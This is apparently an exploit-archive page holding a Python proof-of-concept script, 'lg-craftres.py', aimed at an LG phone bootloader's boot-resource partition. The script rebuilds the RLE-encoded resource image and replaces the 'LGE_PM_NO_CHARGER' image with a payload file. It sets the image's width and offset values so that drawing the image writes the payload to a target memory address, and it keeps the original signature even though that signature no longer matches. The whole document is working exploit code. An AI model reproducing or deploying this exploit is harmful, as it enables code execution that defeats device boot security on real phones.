4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / lg-craftres.py PY
import struct
import sys
import threading

images = []
image_info = {}
image_data = {}
image_data_rle = {}

# Helpers
def image_rle_decode(image_rle):
    image_array = []
    for j in range(0, len(image_rle)>>2):
        num, b, g, r = image_rle[j*4:(j+1)*4]
        image_array += [b, g, r] * num
    return image_array

def image_rle_encode(image_raw, width):
    image_rle = bytes([])
    lb = image_raw[0]
    lg = image_raw[1]
    lr = image_raw[2]
    j = 1
    n = 1
    x = 0
    y = 0
    while (True):
        if (j >= len(image_raw)//3):
            image_rle += struct.pack("<BBBB", n, lb, lg, lr)
            break

        b, g, r = image_raw[j*3:(j+1)*3]
        
        if ((b,g,r) != (lb, lg, lr) or n >= 255 or x >= width-1):
            image_rle += struct.pack("<BBBB", n, lb, lg, lr)
            n = 1
        elif ((b,g,r) == (lb, lg, lr)):
            n += 1

        lb = b
        lg = g
        lr = r
        j += 1
        x += 1
        if (x >= width-1):
            x = 0
            y += 1
    return bytes(image_rle)

def image_write(offs, info):
    name, offset, size, width, height, offs_x, offs_y = info
    
    print ("Writing", name, width, height, offs_x, offs_y)
    rle_data = image_data_rle[name]
    offs_new = offset_iter
    size_new = len(rle_data)
    #if (offs_new != offset):
    #    print("Offset mismatch", hex(offs_new), hex(offset))
    #    return size_new
    
    f_out.seek(offs)
    f_out.write(struct.pack("<40sLLLLLL", name.encode('utf-8'), offs_new, size_new, width, height, offs_x, offs_y))
    f_out.seek(offset_iter)
    f_out.write(rle_data)
    
    return size#size_new

def rle_encode_thread(name):
    global image_data
    global image_data_rle
    
    if (name in image_data_rle.keys()):
        return
    
    print ("Encoding", name)
    rle_data = image_rle_encode(image_data[name], width)
    image_data_rle[name] = rle_data
    
    print ("Completed encoding for", name)



#
# MAIN START
#

if len(sys.argv) < 3:
    print ("Usage: lg-craftres.py [raw_resources_a.img] [raw_resources_a_out.img]")
    exit(0)

f = open(sys.argv[1], "rb")
f_out = open(sys.argv[2], "wb")
header = f.read(0x800)

# Header reading
magic, res_table_cnt, version, dev_str, sig_offset = struct.unpack("<16sLL16sQ", header[:0x30])
magic = magic.rstrip(bytes([0x00])).decode('utf-8')
dev_str = dev_str.rstrip(bytes([0x00])).decode('utf-8')
print(magic, hex(res_table_cnt), hex(version), dev_str, sig_offset)

# Copy the original signature (will be invalid by the end but it keeps diffs low)
f.seek(sig_offset)
sig_orig = f.read(0x200)

res_table_offs = 0x800
f.seek(res_table_offs)

# Read all image data
for i in range(0, res_table_cnt):
    f.seek(res_table_offs + i * 0x40)
    res_ent = f.read(0x40)
    name, offset, size, width, height, offs_x, offs_y = struct.unpack("<40sLLLLLL", res_ent)
    name = name.rstrip(bytes([0x00])).decode('utf-8')
    print(name, offset, size, width, height, offs_x, offs_y)
    
    images += [name]
    image_info[name] = (name, offset, size, width, height, offs_x, offs_y)

    f.seek(offset)    
    image_rle = f.read(size)
    image_data_rle[name] = image_rle
    image_array = image_rle_decode(image_rle)
    image_data[name] = image_array

f.close()




#
# Now reconstruct raw_resources_a
#
modify = True
if modify:
    target_name = "LGE_PM_NO_CHARGER"
    target_addr = 0x8056E14;
    target_end_addr = 0x08057000
    shift = (((0x100000000 + target_addr) - 0x90000000) // 3) & 0xFFFFFFFF

    payload_data = open("payload.bin", "rb").read()
    for i in range(target_addr-len(payload_data), ((target_end_addr // 1080) + 1) * 1080):
        payload_data += struct.pack("<L", i & 0xFFFF)

	# Swap in our payload for LGE_PM_NO_CHARGER's data
    del image_data_rle[target_name]
    old_offset = image_info[target_name][1]
    old_size = image_info[target_name][2]
    new_size = len(payload_data)
    image_info[target_name] = (target_name, old_offset, old_size, 1080, len(payload_data)//1080, shift, 0)
    image_data[target_name] = payload_data

# Encode all unencoded data
rle_encode_threads = []
for name in images:
    name, offset, size, width, height, offs_x, offs_y = image_info[name]
    
    t = threading.Thread(target=rle_encode_thread, args=(name,))
    rle_encode_threads += [t]
    
    t.start()

for t in rle_encode_threads:
    t.join()

# Space for header
f_out.seek(0x800)

# Write images
ent_num = 0
offset_iter = 0x1800
offset_unaligned = offset_iter
for name in images:
    size_new = image_write(0x800 + (ent_num * 0x40), image_info[name])
    offset_iter_unaligned = offset_iter + size_new
    offset_iter += (size_new + 0x7FF) & ~0x7FF
    ent_num += 1

# Finalize header
res_table_cnt = ent_num
magic = "BOOT_IMAGE_RLE"
version = 0x1003
dev_str = "cv7a_lao_com"
sig_offset = offset_iter_unaligned

# Write header
f_out.seek(0x0)
f_out.write(struct.pack("<16sLL16sQ", magic.encode('utf-8'), res_table_cnt, version, dev_str.encode('utf-8'), sig_offset))

# We can't sign anything...
f_out.seek(sig_offset)
f_out.write(sig_orig)

# Pad out to the same size as the original partition
f_out.seek(0x3F7E00-1)
f_out.write(bytes([0]))

f_out.close()